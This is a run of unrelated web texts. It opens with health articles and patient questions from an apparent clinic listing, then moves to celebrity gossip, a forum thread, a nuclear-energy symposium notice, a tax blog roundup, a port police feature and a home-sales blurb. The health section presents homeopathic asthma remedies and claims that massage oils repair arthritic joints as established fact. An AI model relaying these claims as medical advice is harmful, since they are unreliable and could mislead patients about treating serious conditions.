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Dr. Vaibhav Patil
Gastrointestinal Disorders
Acne Treatment
Panchakarma Treatment
Treatment Of Erectile Dysfunction
Treatment Of Male Sexual Problems
Diet Planning
Skin Care Treatment
Treatment of Migraine Treatment
Treatment Of Female Sexual Problems
Sexually Transmitted Disease (Std) Treatment
Allergy Treatment
Cysts Removal Procedure
Chronic Skin Allergy Treatment
Hypothyroid Treatment
Treatment Of Pregnancy Problems
Dengue Treatment
Skin Treatment
Siddha Treatment
Slimming Treatment
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Foot problems are common among all people. Some foot problems are minor while some are severe and require immediate medical attention or surgery for treatment.
Here are some common foot problems, which require surgery:
- Bunions: These are bony lumps, which develop on the side of a foot and also at the base of the big toe. Bunions occur due to a condition called hallux valgus. This causes the big toe joint to bend in the direction of the other toes, resulting in deformity. This condition requires surgical correction. The surgery required is known as osteotomy, and it involves the straightening of the big toe and metatarsals.
- Hammertoes: Hallux valgus may result in your other toes being clawed or bent permanently. This condition is called hammer toes.
The damage can be eased by:
- Arthroplasty: It involves the removal of a deformed joint between the toe bones, resulting in joint flexibility.
- Arthrodesis: This process fuses the phalange and makes the toe stable.
- Metatarsal surgery: In some cases, the forefoot joints may get damaged due to the inflammation of the joint lining or synovitis, which results in arthritis. These joints are called metatarsophalangeal joints and they can get dislocated due to arthritis damage. Pain and discomfort are felt. Surgery is required when the symptoms are very severe and other treatments fail. The nature of surgery depends on the severity. The most common surgery is done on the big toe to remove the heads of the metatarsophalangeal joints.
- Ankle arthritis: This condition occurs because of osteoarthritis. The cartilages, which cover the ends of the bones roughen and get thin, which further thicken the bone underneath. It also results because of other rheumatic conditions. Pain and swelling is caused with an occasional joint deformity. Surgery may be required when the symptoms are very severe. The three major surgical options for treating ankle arthritis are ankle fusion, triple fusion and ankle replacement.
- Achilles tendon disorders: The Achilles tendon accounts for being the largest body tendon and great force is put through it when moving the lower leg muscles. This wears down with old age and causes swellings within the tendon accompanied by pain. Sometimes, surgery is required for fixing this condition.
- Morton's neuroma: This is a painful condition in which a nerve that gives sensation or feelings to the nearby toes is affected. The nerves are affected in the third and fourth toes. In case the symptoms are severe, a surgery is required.
Foot problems are prevalent in many people and they may occur due to various conditions or reasons. In case of severe symptoms, some foot problems require surgery for treatment. The most appropriate surgical method should be undertaken.
Heel pain is a common problem in the body where the affected person experiences pain radiating from the heel bone. Heel pain usually progresses slowly over time, it is recommended to consult a medical professional, if heel pain turns severe. The pain tends to be most severe after one has been inactive for some time such as after waking up in the morning.
Heel pain is usually caused when tissues present in the bottom of the heel (Plantar fascia) is inflammed. These tissues connect the heel bone with the bones of the feet and acts as a shock absorber. Tears form in these tissues when they are damaged or when they get thicker. These tissues are at an increased risk of wear and tear for those who are over 45 years old. The risks also tend to increase if the person is obese or whose occupation requires standing for lengthy periods of time.
Among other causes of heel pain are heel bone fractures, fat pad atrophy (a condition where a layer of fat present under the heel bone is reduced) and bursitis (inflammation of the fluid filled sacs present around the joints). Peripheral neuropathy is a condition where damage occurs in the peripheral nerves (that transmits signals between the central nervous system and the rest of the body), this can cause pain in the heel.
The symptoms of heel pain include:
- Experiencing pain while jogging or walking
- A feeling of pins pricking the heels after waking up in the morning
- Inability to put weight on the heel
- Painful swelling
- Pain in the heel accompanied by fever
Heel pain can be prevented by taking certain preventive measures such as restricting usage of high heeled shoes without proper support and stretching the heel regularly. Medications such as painkillers are used to treat symptoms of heel pain. Consult a doctor for accurate medicines !!
I have skin troubles, skin darkening, acne problem. What could I have for this? I also have menstrual problems, I didn't get my periods from 5 months.
Hi I want to know that I am having a problem that suddenly at any time I feel like sudden urge to pass stool and it happens about 3 to 4 times a day when I go to washroom little stool comes out with constipation I have to push very hard to pass stool and then after little stool has passed the stool stops coming how hard I try it feels like that my stomach has not fully emptied but stool stops coming. I feel like that it happens after I have eaten fish one week before but it's not confirmed .please suggest me any medicine. I am 17 years old.
I have alopecia areata. I am also under steroids treatment. But my hair becomes rough. Can I use 8X shampoo? Give me some suggestions.
My son is one year seven months old (1.7).He is very weak. On his first birthday his body weight was 9.2 kg. But now he weighs only 9.5 kg. Is there any tonic for his growth? What to do for his growth?
A Gastroenterologist is a physician with dedicated training and unique experience in the management of diseases of the gastrointestinal tract and liver. If you are planning to visit one, you most likely have a problem in one or many organs like esophagus, stomach, small intestine, colon and rectum, pancreas, gallbladder, bile ducts and liver.
Visit your doctor to understand the severity of your condition and the course of treatment, as it is obvious that during this time you must be suffering from anxiety and you may not ask the questions arising in your mind. That is why you need to prepare in advance for your first visit with a gastroenterologist.
Being an active partner in the doctor patient relationship is bound to have its benefits. Here are some handy tips:
- Come mentally prepared: Don't let the anxiety get to you. If you need some extra help calming down, try yoga or meditation. You can simply go out on a walk alone to help you focus your thoughts. This is just like any other doctor visit. The good part is that you are taking the first step in easing your discomfort and starting treatment, so go with a positive mind.
- Maintain a diary of symptoms: It is likely that you are experiencing discomfort from past few days or weeks before you finally realize the need to seek out a specialist. Try to remember as much as possible about the symptoms you experienced in a chronological order. Write down any over the counter medicines you've tried or anything unusual that you may have consumed in the past week.
- Take stock of your medical history: It is likely that your doctor may want to know about any historic conditions you've suffered that may or may not relate to your present condition. Many ask you to fill out forms during your first time patient registration which includes many minor details about your medical past. List down any allergies, especially food allergies you have.
- Take stock of your recent medical tests: Bring your latest blood tests and imaging tests (X-rays, ultrasounds, MRIs, and CT scans) with you for the doctor's visit. If you have a pre-existing condition like diabetes, thyroid or you suffer from other chronic conditions like increased uric acid, carry your most recent medical reports with you.
- Make a list of questions for the doctor: In most cases, the first visit is a crucial factor in determining whether you want to continue the course of treatment with a particular doctor. This comes out of your ability to trust the doctor, his knowledge and diagnosis and an overall comfort level that comes with how well he handles your questions. Start by making a list of questions you want to ask about your specific condition and course of treatment and see if you get satisfactory answers.
- Brace yourself: If you want to suggest a treatment option, make sure you read up all about it before you tell the doctor. If you wish to discuss about any specific problem, you can consult a Gastroenterologist.
I am a employee of armed forces. My problem is that after rest for 2/3 hours sitting or sleeping when I tried to walk the lower surface of my ankle feel acute pain for 15/20 steps .after that I felt normal .suggest me for permanent remedy.
I have white air in much quantity what should the diet and advice for me to reduce white air in maximum amount.
Is egg yolk bad for people going to gym? I have come across many of them telling me not to eat the yellow yolk. Please what is your recommendation. Is it true that I should not take?
Hi there r few acnes on my nose which is making me look ugly I've tried everything but those r not going please help me out.
Arthritis is an inflammatory condition that affects the joints and bones of the patient and creates general problems when it comes to mobility and other such postures, which require some amount of physical stamina and strain. This kind of condition can be of many types. Furthermore, it can affect many different parts of the body right from the knees to the shoulders and the wrists. There are many forms of treatment for this condition, which may be carried out by orthopedic specialists as well as other practitioners of alternative medicine.
Read on to find out why Ayurveda is one of the best ways to deal with this condition.
- Ancient science: Ayurveda is an ancient science that is steeped in the logic of ages, and it has been allowed to evolve over numerous centuries, which makes it all the more authentic when it comes to various forms of treatment.
- Combination of measures: Ayurveda is not just a field of medicine, but it is primarily known as a life science because it combines a variety of measures that have to do with inside out cleansing of the system. From massages to herbal medicines, yoga postures to lifestyle changes, this form of treatment can help the patient get rid of the condition rather than just treat the symptoms.
- Massages: When we use a particular oil or herb to massage our bodies, we are actually imbibing the goodness and richness of those elements, which are ideal for the condition that we are suffering from. This oil that may be derived from cloves or various other elements that are naturally found, can actually seep right into the bones and joints to repair the condition. Mustard oil and camphor are also well known oils for arthritis.
- Doshas: Ayurveda depends on the various doshas for a proper form of diagnosis, and arthritis comes under the Data dosha. This typically affects the energy, surrounding the proper functioning of the joints and therefore, one can safely say that this is a well-researched body of science, which is being put to use so as to prescribe medicines and other forms of treatment for that particular dosha.
- Exercise: The yogic postures are known to have helped many people and the various asanas that are specifically required for an arthritis patient will help in doing away with the root cause of the disease. These asanas include the less rigorous ones that can build strength and stamina so that the patient is able to lead a more normal and healthy life.
- Lifestyle changes: The diet changes that will be prescribed for arthritis-affected patients along with the changes in one's routine, will help in reaching the root cause of the condition so that he or she may get a better chance at normalcy in the long run. If you wish to discuss about any specific problem, you can consult an ayurveda.
Stomach ulcers are sores that develop in the stomach lining and the small intestine. They tend to form when the digestive juices in the stomach start to corrode the tissues of the stomach. A stomach ulcer is usually diagnosed using an endoscope, a fiber optic tube that is inserted into the throat. This device helps in viewing and identifying the ulcer. Stomach ulcers are easily cured, but they can become severe without proper treatment.
Certain factors and behaviors can put you at higher risk for developing stomach ulcers:
- Smoking
- Frequent use of steroids (such as those for treating asthma)
- Hypercalcemia (overproduction of calcium)
- Family history of stomach ulcers
- Being over 50 years old
- Excessive consumption of alcohol
- Symptoms of Stomach Ulcers-
The most common symptom is a burning sensation or pain in the area between your chest and belly button. Normally, the pain will be more intense when your stomach is empty and it can last for a few minutes or several hours.
Other common symptoms include:
- Dull pain in the stomach
- Weight loss
- Not wanting to eat because of pain
- Nausea or vomiting
- Bloating
- Burping or acid reflux
- Heartburn (burning sensation in the chest)
- Pain improves when you eat, drink, or take antacids
- Talk to your doctor if you experience symptoms of a stomach ulcer. Even though discomfort may be mild, ulcers can worsen if they aren't treated.
Once the disorder has been diagnosed, the treatments are prescribed. For mild ulcers, medications are prescribed depending on the cause. For example – if the cause of the ulcer is a bacterial infection, then it can be treated with antibiotics. If medications do not help, then surgery may be required.
Initially, antacids may be administered that help in reducing the pain, but this measure only provides temporary relief. The aim of ulcer treatment is to reduce the quantity of acid in the stomach and strengthen the stomach lining. If the ulcer is due to a bacterial infection, then a triple therapy is generally used to treat the ulcer.
What is triple therapy?
The triple therapy is a combination of antibiotics and a proton pump inhibitor that is used in the treatment of ulcer. If medications fail to work, then surgical treatment may be required. In case of ulcer hemorrhage, the source is identified and then treated accordingly. Surgery can also help in reducing excess acid secretion by the stomach. Avoid intake of too much iron supplements as it can cause irritation to the stomach lining. If you wish to discuss about any specific problem, you can consult a Gastroenterologist.
Asthma is a condition characterized by wheezing and difficulty in breathing. Asthma is a common disease that affects children, teenagers and adults alike. Depending on what triggers an asthmatic attack, asthma can be categorized as four types. These are:
- Allergic asthma: This sort of asthma usually begins in childhood and is caused by the overproduction of immunoglobulins as a reaction to the allergen. This type of asthma can also be passed on from one generation to another through genes.
- Infective asthma: This is caused by viral bronchial or upper respiratory tract infections. It is not hereditary.
- Emotional asthma: Some cases of asthma can be triggered by psychological factors such as stress, grief or anxiety. However, it is not clear if this is the sole trigger for asthma.
- Occupational asthma: Exposure to metallic dusts, biological detergents, polyurethane, etc. can also trigger asthmatic attacks. This type of asthma is called occupational asthma.
A homeopath will not only determine the type of asthma, but will also delve into a detailed medical history of the patient before prescribing medication. Some forms of homeopathic medication that can be used to treat asthma are:
- Lpecac: This is used to treat asthma in cases where the difficulty breathing is accompanied by a feeling of heaviness over the chest, dyspnoea, constant coughing with no expectoration and cold perspiration. It is often aggravated by motion.
- Arsenicum: Asthmatic attacks that begin in the middle of the night and are accompanied by restlessness and anguish can be treated with arsenicum. This is especially beneficial in cases of chronic asthma in elderly people and habitual dyspnoea.
- Nux vomica: This is used mainly to treat asthmatic attacks triggered by gastric troubles or be excessive intake of coffee and alcohol. A constricted feeling around the lower part of the chest is another symptom of this type of asthma.
- Kali bichromicum: Asthmatic attacks that wake a patient up in the wee hours of the morning compelling him to sit up, in order to be able to breathe can be treated with Kali bichromicum. A stringy yellow mucus expectoration is another symptom of this type of asthma. It can also be used as an effective form of treatment for asthmatic attacks caused by nervousness.
- Natrum sulphuricum: This is used to treat asthmatic attacks caused by a change in weather. In such cases, the asthmatic attack is accompanied by diarrhea and greenish expectoration. It is usually worst in the early mornings. If you wish to discuss about any specific problem, you can consult a Homeopath.
The menstrual cycle is a natural part of a woman's life. Most of the times, it has been seen that women have periods that have a standard or perfect timing. However, some women may have extremely unpredictable or irregular periods. There are numerous reasons that can cause these irregular periods. In such cases, there are some that are more serious than the others.
At the point when a woman stops getting her period, it is called amenorrhea. It is a strong sign that something is not right. Primary amenorrhea is the point at which a teenager never got her period in the first place during adolescence. Secondary amenorrhea on the other hand, is when a woman has had her period in the past, yet stops getting her monthly period for at least three months.
Irregular periods, missed periods, or exceptionally painful and serious PMS (post menstrual syndrome) symptoms are an indication that the levels of one or more hormones are either missing or are too high. Whether it is a basic health condition, constant stress levels, a bad eating routine, an excess of exercise or less body weight, frequently missed periods is not something that should be ignored, especially when you are sure that you are not pregnant.
- In case your irregular periods are consistent, you need to be assessed for PCOS. PCOS or polycystic ovary syndrome influences up to 10 percent of the women who are in their conceiving age. Apart from causing infertility, PCOS can expand the danger of diabetes and many heart diseases.
- You need to likewise be screened for thyroid problems and other diseases and conditions that might be connected to irregular periods. For example, an overactive or an underactive thyroid can aggravate ovulation, which may cause a lot of hormone imbalance in your body.
- An irregular cycle can also make it more difficult to get pregnant naturally, particularly in case you are not ovulating each month. Your specialist can run tests to check whether you are ovulating. Women with sporadic periods who are attempting to have a child are at times prescribed fertility medications to improve ovulation.
- Women with irregular menstrual cycles may have a double danger of ovarian cancer as compared to the women who have standard month-to-month period cycles.
- Untimely ovarian failure (otherwise called untimely menopause) is the point at which a woman's ovaries quit working before she turns 40, making her stop ovulating.
- Irregular periods can result in a thick coating of the uterus, which can be a hazard for creating uterine cancer.
- Irregular periods that are very heavy can result in issues like a low blood count, weakness or anemia.
Hence, if you feel your periods might not be regular and are causing you a lot of problems along with being untimely, you need to consult a gynaecologist immediately.
A panic attack is a sudden fit of anxiety or fear. In this situation, a person's heart starts pounding and they are unable to breathe. Sometimes, they may even feel like throwing up or even dying. It may even make a person withdraw from their daily routine and reach a point of hopelessness. If left untreated, these panic attacks can lead to a panic disorder. These attacks can have more physical symptoms including shaking, nausea, dry mouth, sweating or dizziness.
There are certain medications and treatments to cure this disorder. These include antidepressants and benzodiazepines, which are anti-anxiety medications. Taking them brings rapid relief, however; these are highly addictive and can have certain withdrawal symptoms. To avoid medications, there are certain self-help tips to cope with the problem. These include:
- Avoid smoking, alcohol and caffeine. These are substances that can provoke your panic attacks.
- Learn how to control your breathing while you are experiencing an attack. Deep breathing can relieve the symptoms that come with this disorder. This can help you calm down.
- Practice relaxation techniques such as yoga and meditation. These strengthen the body's ability to respond to situations that can cause anxiety. Not only do they release stress but they also increase the feelings of joy and happiness.
- Try to exercise regularly. It is a natural anxiety reliever. Therefore, one should exercise in any form, for at least thirty minutes a day.
- You should try to get as much sleep as possible. Insufficient amounts of sleep can make the anxiety even worse. Dancing, swimming or cycling can be highly effective.
- Try not to stay alone. Anxiety levels and the chances of a panic attack are high when you are alone. If you feel that you do not have anyone to go to or turn to, try to explore ways to meet and build supportive relationships.
- Go to a therapist or a psychologist to vent out your feelings and anxieties. This can help you by giving you a cathartic release and get over your pent up emotions.
If someone is suffering from a panic disorder, make sure that you do not let it go unnoticed because people who suffer from this condition usually like to keep it to themselves. This smothers them even further and leaves them at a great risk and vulnerability. Those who have this condition should try to seek medical or psychological help in order to feel better.
Panic disorders are very dangerous and unpredictable. These can mess with your work and performance. In order to avoid that, keep noticing the signs and symptoms and reach for the correct type of medical or clinical attention. Ignoring such a condition can hamper your future and lead to a lot of other allied health problems. If you wish to discuss about any specific problem, you can ask a free question.
Numerous clinical researches have been conducted in the field of acupuncture and they have found that acupressure is extremely effective in treating some diseases. It is very good for treating the diseases of muscles, joints and bones which are collectively known by the name of the musculo-skeletal system. Regardless of whether you are suffering from a chronic pain or a pain arising from a sudden injury, acupressure can immensely help in alleviating the symptoms.
- Treatment of osteoarthritis: This is the most common variant of arthritis and can be caused as a result of continuous tearing down of the system. It normally occurs in older people and can also affect the lower back along the spine, hips, knees, shoulders and elbows. The pain caused due to arthritis normally fluctuates and acupressure can help in relieving it.
- A quick relief to sprains: Sprains or sudden injuries normally respond well to acupressure. This kind of pain usually lasts for a week or so, and acupuncture can work effectively once a clear health evaluation has been made. For instance, if you are exposed to a sudden injury on your shoulders, the pain arising out of it can last for months and even years together. But acupressure can prevent the pain from turning chronic and offers an instant relief to soothe it.
- Helping the rheumatic pains: A great deal of experiments and research works have been conducted for finding the effects of acupuncture for calming the pain arising from rheumatism. If you are on the acute, early and inflammatory stage of rheumatism, then you will need a treatment so that the ailment traverses to its residual stage which can be substantially treated through acupressure. It also helps in treating various types of chronic pains and as a result, many experts suggest this treatment.
- Different types of headaches: Headaches can be caused due to a number of factors ranging from migraines to dental problems, from sinusitis to stress and from neck arthritis to head injuries. Migraine deserves a special mention here as it is triggered by a variety of factors like light, heat, noise and some kinds of foods. It leads to a throbbing pain that is often accompanied by vomiting and nausea, visual flashes and patterns before the eyes. Acupressure is a viable solution to these issues and it can help to a great degree if you take acupressure treatment on a regular basis.
All of these troubles can be treated with acupressure, but it is recommended to speak with a doctor before you opt for the treatment in order to evaluate your clinical history and physical condition.
Physical intimacy is a very important part of our lives and defines how we relate to others and see ourselves. It is the attraction one feels towards a particular gender or group of people not just romantically, but emotionally and sexually. There is an increase in the number of people in today's world who identify themselves as bisexuals. Bisexuality is the romantic and sexual attraction or behavior towards people of any sex or gender i.e. both males and females. There are many factors that affect the sexual orientation of a person including environmental, hormonal, emotional and biological factors. Bisexuality is not a disorder that needs to be treated, nor are bisexuals psychologically disturbed.
One very misleading myth is that bisexuality is just a phase and after experimentation (usually during college years) you settle for your true identity as either a homosexual i.e. attracted towards the same sex or heterosexual i.e. attracted towards the opposite sex. Bisexuality is not a transitional period. Most bisexuals may act on their desires and choose to be with one particular sex. However, it doesn't mean that bisexuals are not attracted towards the other sex. This does not mean that they are any less faithful towards their partners than other sexual orientations such as heterosexuals, homosexuals, pansexuals etc.
Several surveys later, it has been concluded that women are more likely to identify themselves as bisexuals than males. This is because women have greater erotic plasticity as compared to men. Bisexuals are often prejudiced against and are stereotyped as highly promiscuous and sexually confused. There is also a social stigma attached to the concept of bisexuality. This is nothing more than an unfair social bias. If you wish to discuss about any specific problem, you can consult a sexologist.
Ovarian cancer is the most common cancer to affect the female reproductive system. The exact cause of ovarian cancer is not yet known and the risk factors involved are numerous, the most prevalent of which are genetic defects and hereditary problems.
The symptoms of ovarian cancer are not always clear and range from pelvic and abdominal pains to irregularities in the menstrual cycle. Women beyond the age of 50 are most at risk of developing this type of cancer and the risk factor increases in case of family history.
Prevention of Ovarian Cancer
There is no sure shot way of preventing ovarian cancer. Some factors such as genetics cannot be controlled at all. There are, however, ways to take precaution against it through some simple lifestyle choices. A few of those ways are as follows:
• Eat a healthy balanced diet which is rich in all the nutrients, vitamins and minerals that the body requires for boosting and maintaining immunity.
• Exercise regularly and stay active. Maintaining fitness is an important aspect of preventing the onset of all sorts of diseases and disorders.
• Go for frequent health checkups and make regular consultations with your gynaecologist so as to ensure early detection of the problem.
Another notable way of avoiding ovarian cancer is taking birth control pills which are known to reduce the risk levels. However, studies have shown that there are other health risks associated with taking birth control pills and hence you should always consult a gynaecologist for a proper prescription.
Balance disorder is more prevalent in old people, but they are not the only ones who are affected by it. There are many causes that can lead to Balance disorder and some of them can be controlled. Balance problem causes spinning of head coupled with dizziness while standing or sitting, which can lead to an injurious fall.
The common symptoms of Balance disorder include:
- Dizziness
- Nausea
- Depression, anxiety or fear
- Blurred vision
- Disorientation
- Tiredness
- Inability to concentrate
- Changes in heart rate and blood pressure
- Ear infection: If the vestibular system (which is also called the labyrinth) inside your ear gets infected and inflamed, it can cause Balance disorder. This is because the inner part of the ear is responsible for coordination and balance. This condition is known as labyrinthitis and it is frequently accompanied by dizziness and vertigo. Viral and respiratory infections can also cause labyrinthitis.
- Poor circulation: Certain diseases associated with the circulatory system, such as stroke can cause dizziness and various other Balance problems.
- Medications: There are certain medications that can lead to Balance disorder, such as medications to normalize blood pressure can cause dizziness. Ototoxic drugs are infamous for causing ear problems that lead to imbalance. Sometimes its ill effects are felt only during the period of using, but many people have suffered permanent ear damage.
Other causes of Balance disorder include head injury, imbalance of chemicals in the brain, arthritis, neurological conditions and aging.
- Balanced diet: Meniere's disease is a condition that causes ear problems, which lead to vertigo. It is primarily connected to the change in the volume of fluid in the inner ear. Try to eliminate salt from your diet and abstain from alcohol in order to prevent such a condition.
- Prevention of ear infections: Otitis media is a common kind of ear infection seen in children, but adults can have it too. It causes dizziness and nausea. Completing the antibiotics course helps prevent this infection. If you wish to discuss about any specific problem, you can consult an Ent Specialist.


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Kristen Stewart Admits That Fame Is Totally Easy for Her
Kristen Stewart has gained a reputation as something of a sourpuss, thanks to her seeming reluctance to happily embrace the experience that being in the spotlight brings. But in a new interview, she admits that being famous is more than okay—it's totally awesome, and it's made her life way easy! Check it:
"The fame makes my life so much easier where it's most important to me, because I get to do really awesome projects right now. It looks much crazier on the outside than it is."
Wow; that's a far cry from the young lady who, not too long ago, was equating having her picture taken to being raped. Has someone gained a much-needed sense of perspective? Let's hope so…

subset: commoncrawl


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That's awesome. Can't wait to see the videos
That's awesome. Can't wait to see the videos
The Part Time Grappler - Just Google BJJ / Grappling Tips and you'll find me
Geeza said "if they finished with a submission they will be uploaded" so I think Simon's first fight and both of Dickie's should end up on his Youtube account (if they were filmed of course, there was a lot going on at once!).
EDIT: and I already posted on EFN but congrats to both, it was awesome watching them fight!
http://www.ChrisReesAcademy.com - http://thetattooedchimp.blogspot.co.uk/
http://www.ChrisReesAcademy.com - http://thetattooedchimp.blogspot.co.uk/
MMA Gear and Equipment Review Site
Thanks Guys, it's been emotional


text: The Physics Department at Wheaton College presents the annual Science Symposium entitled "Nuclear Energy: Realizing the Promise." Global energy consumption is expected to increase in the 21st century due to increasing population and demand from industrialized and developing countries. Yet, most of the world's energy is derived from fossil fuels which are non-renewable and contribute to global warming. Nuclear energy, like other energy sources, has a number of advantages and disadvantages but will likely be a part of the overall energy solution. Current research is addressing issues such as nuclear safety and radioactive waste and advanced reactor designs may offer significant promise for dealing with these concerns. In this year's symposium, nuclear engineering experts will examine the future of nuclear energy and explore what might be done to bring innovative nuclear technologies from promise to reality. Schedule Session 1: Wednesday March 26 10:35 – 11:15am Dr. Robert Bishop (Chapel) 7:00 – 9:00pm Pandora's Promise Film 9:00 – 9:30pm Panel Discussion of Pandora's Promise with Denis Demoss (Sargent and Lundy LLC) Christine Folch (Wheaton College) Dave Grabaskas (Argonne National Laboratory) Session 2: Thursday March 27 7:00 – 7:45pm Technical and Socio-Political Drivers for Advanced Nuclear Fuel Cycle Dr. Paul Wilson University of Wisconsin-Madison 7:50 – 8:35pm A View of the Near-Term Evolution of Light Water Reactor Technology Dr. Ivan Maldonado University of Tennessee 8:45 – 9:30pm Advanced Reactors: Safety and U.S. Experience Dr. Dave Grabaskas Argonne National Laboratory All sessions will take place in the large lecture hall on the ground level of the Meyer Science Center (SC 145). Directions to the campus of Wheaton College can be found by clicking on the link on the right side of this page. Documentary: "Pandora's Promise" Could nuclear energy save our planet from global warming and climatic catastrophes? Events like Fukushima and Chernobyl have magnified our fears about nuclear energy and contribute to our "anti-nuclear psyche" but some experts are exploring the potential benefits of nuclear energy. Robert Stone began his career directing one of the great anti-nuclear Oscar nominated documentary Radio Bikini but in Pandora's Promise, Stone asks whether nuclear energy could save our planet from climatic catastrophes and provide the energy needed to lift the developing world out of poverty. Stone explores how and why a number of environmentalists have had a change of heart about nuclear energy and are now supporters of nuclear energy considering it "humankind's greatest hope." Environmentalists such as Gwyneth Cravens, author of Power to Save the World: The Truth about Nuclear Energy and our Changing Climate, discuss their radical transformation from fiercely anti-nuclear opponents to strong pro-nuclear supporters. Panel Discussion The documentary will be followed by a panel discussion with the following experts, Christine Folch, Assistant Professor of Anthropology, Wheaton College, Denis Demoss, Senior Vice President, Sargent and Lundy LLC, and Dave Grabaskas, Nuclear Engineer, Argonne National Laboratory. The Wheaton College Science Symposium is an annual event sponsored by Wheaton College. The views expressed by speakers who are guests of the college are not necessarily views of those employed by Wheaton College.


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Iowa issuing new certificates for federal mortgage interest tax credits. The Iowa Finance Authority yesterday announced that it will issue mortgage credit certificates that enable Iowans to qualify for the federal mortgage interest credit. O. Kay Henderson reports:
The Iowa Finance Authority is offering a new tax credit for new homeowners who fall under limits on annual income and the purchase price of their home. Iowa Finance Authority director Dave Jamison says it's a credit linked to the mortgage interest new homeowners are paying.
"Yet another way that Iowans who meet our program guidelines can experience the many benefits of home ownership," Jamison says.
Iowans with the certificates may be able to claim the federal credit on Form 8396. The IRS describes the credit here. They note that interest that qualifies for the credit does not qualify for the home mortgage deduction. You only qualify for the credit if you have a mortgage credit certificate from a qualifying agency; in Iowa, that agency is the Iowa Finance Authority.
The credit isn't for everyone; there are limits based on income and home price. From the O. Kay Henderson story:
Eligibility guidelines are different for each Iowa county. In the state's largest county, Polk County, a couple with an annual income of up to $75,000 could qualify for the credit on a home that was purchased for $250,000 or less.
More from WHOTV.com.
Nick Kasprak, Monday Map: Percentage of Taxpayers with AGI over $500,000 (Tax Policy Blog)
Fiscal Cliff Notes
TaxGrrrl, IRS Issues Statement On Tax Legislation, Makes No Promises About Start Of Tax Season:
The delay means that now, there are a lot of new forms to be printed, a lot of software programs to finagle. I'd be surprised – and wildly impressed, mind you – to see tax season kick off on time this year for all taxpayers. But fingers crossed, right?
I think the federal tax season won't be too bad. With all of the retroactive conformity problems in the new law, though, a lot of states are likely to give taxpayers fits.
Kevin D. Williamson, You Cannot Raise Taxes on the Rich:
Tax hikes on the so-called rich may decrease the private sector's share of income, but they probably will not do much to decrease the real income of high-wage workers and may in reality increase government revenue at the expense of low-wage workers in the long term, though it is very difficult to disaggregate the complex relationships between taxes, wages, and prices. But those who say that they are most interested in economic inequality would do well to follow Kenworthy's example and look at transfers rather than taxes.
James Pethokoukis, New study undercuts Obama's income inequality argument
Washington's tax hike on wealthier Americans won't accelerate economic growth, won't create jobs, and won't lower the debt by an more than a rounding error. So what was the point of all that debate about the fiscal cliff? Why did President Obama insist on those upper-income tax increases, especially when the economy continues to struggle?
Simple: It was a way — even if mostly symbolic — of addressing what President Obama views as America's biggest problem: rising income inequality.
A falling tide lowers all boats.
Freakonomics, How Much Financial Inequality Is Due to Financial Illiteracy? Is that illiteracy of the people who are unequal, or those who think it's a big deal.
Jeremy Scott, Both Parties Should Have Pushed Payroll Tax Cut (Tax.com)
Hani Sarji, More Estate Tax Changes Could Follow Fiscal Cliff Deal (via the TaxProf)
Patrick Temple-West, More tax revenue to IRS before cliff, and more
All the talk about the fiscal cliff and the inadequacy of the last-minute deal to avert it obscures one fact: It probably provided the government with tens of billions of dollars in unexpected tax receipts.
Many taxpayers accelerated income and deferred deductions anticipating the rate increases.
Wall Street Journal, The Stealth Tax Hike: Why the New $450,000 Income Threshold Is a Political Fiction:
Paul Neiffer, Fiscal Cliff Tax Bill May Increase Divorce Rate!
Russ Fox, The Problem with PEOs. No, not these PEOs.
Trish McIntire, More ITIN Info
Missouri Tax Guy, Married Filing ….
Jack Townsend, HSBC Depositor Pleads Guilty to Conspiracy
Kay Bell, Tax moves to make in January 2013
I like the first half. Let There Be Wine (And Taxes) (Jason Dinesen)
The Critical Question: Can You Distinguish a Tax from a Ransom Payment? (Robert Goulder, Tax.com)
I wasn't serious about her anyway. Ex-KPMG Chief to Auditors: You Are All Flirting With Irrelevance (Going Concern)
Hope and change. A lot of change, if you use it to buy coffee. Should the President Mint a $1 Trillion Platinum Coin? (Megan McArdle)
Tags: Dave Jamison, Freakonomics, Going Concern, Hani Sarji, Iowa Finance Authority, Jack Townsend, James Pethokoukis, Jason Dinesen, Jeremy Scott, Kay Bell, Kevin Williamson, megan mcardle, Missouri, Nick Kasprak, O Kay Henderson, Patrick Temple-West, Paul Neiffer, Robert Goulder, Russ Fox, The Critical Question, Trish McIntire


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ONLY when driving around the Port of Tilbury do you begin to get a sense of its true size and the vast operation simmering away.
From enormous ships, which seem to defy the laws of physics moored by the quayside, to the towers of containers en-route to far-flung destinations, the port is a hive of activity right on our doorstep.
It is little wonder then that with the value and quantity of goods passing through and the opportunities on offer for immigrants to enter, or exit, the country undetected through the port, that there is the need for a dedicated police force.
That is what Inspector Andy Masson and his small team provide, working as part of one of the oldest forces in the country.
Their duties are the same as those undertaken by colleagues at Essex Police – they make arrests, attend and investigate incidents and work with a host of agencies, including the UK Border Agency and the Serious and Organised Crime Agency, to ensure the port and the UK's borders are secure. Like all police officers, the port force's 14 officers are sworn in under oath by magistrates.
Mr Masson describes the role of the port police as "community policing in its rawest form" and says the force is "the final bastion of port policing".
He said: "We have a huge history. The force started as the Port of London Police Authority in 1802 and gradually, as docks started to close down, we became the Port of Tilbury Police Force.
"Policing started on the Thames. That's where the crime was because that's where the money was, and still is."
With the large number of lorries and other vehicles coming in and out of the port, officers make use of the automatic number plate recognition system to stop any suspicious vehicles. But the force's role is wide ranging. They are first responders to any incident within the port and even a mile outside of it. For instance, they were first on the scene after an accident on the Dock Approach Road recently.
Mr Masson said: "Everything that happens crime-wise outside of the port, happens inside but to a lesser degree. "My officers deal with all the same sorts of offences. We come across some sophisticated drug crime, which involves us working closely with SOCA.
"We make arrests and take suspects to Grays or Basildon station and all the port roads are covered by the Road Traffic Act."
One member of the force recovered more than £1million worth of high value cars coming through the port last year.
Driving around the port, Mr Masson emphasises the importance of knowing the port inside out and recognising "normal port activity". This is where the aspect of community policing comes into its own.
The force has recently been nominated for a St John's Award for helping with incidents. Mr Masson added: "We're very proud of the level of service we provide."
Thurrock MP Jackie Doyle-Price, who is a patron of the force and championed their role during a recent debate in the House of Commons, said: "The force make a major contribution to fighting crime at no extra cost to the taxpayer.
"They make a crucial contribution to keeping our borders and the community safe and secure."


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At Palm Harbor, we are committed to customer satisfaction through each stage of the home buying process. Our friendly, knowledgeable housing consultants are ready to answer your questions and help you build, finance and insure your new home. And Palm Harbor's exclusive Gold Key Care program provides factory-trained technicians to make sure that our homeowners are pleased with their new home at their final inspection. Our service continues after you've moved into your new home. This commitment has paid off. Sixty-one percent of the manufactured homes Palm Harbor provides are the result of a customer referral.
Listen to what a few of our satisfied customers have to say about Palm Harbor Homes:


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Author: Peter Lin
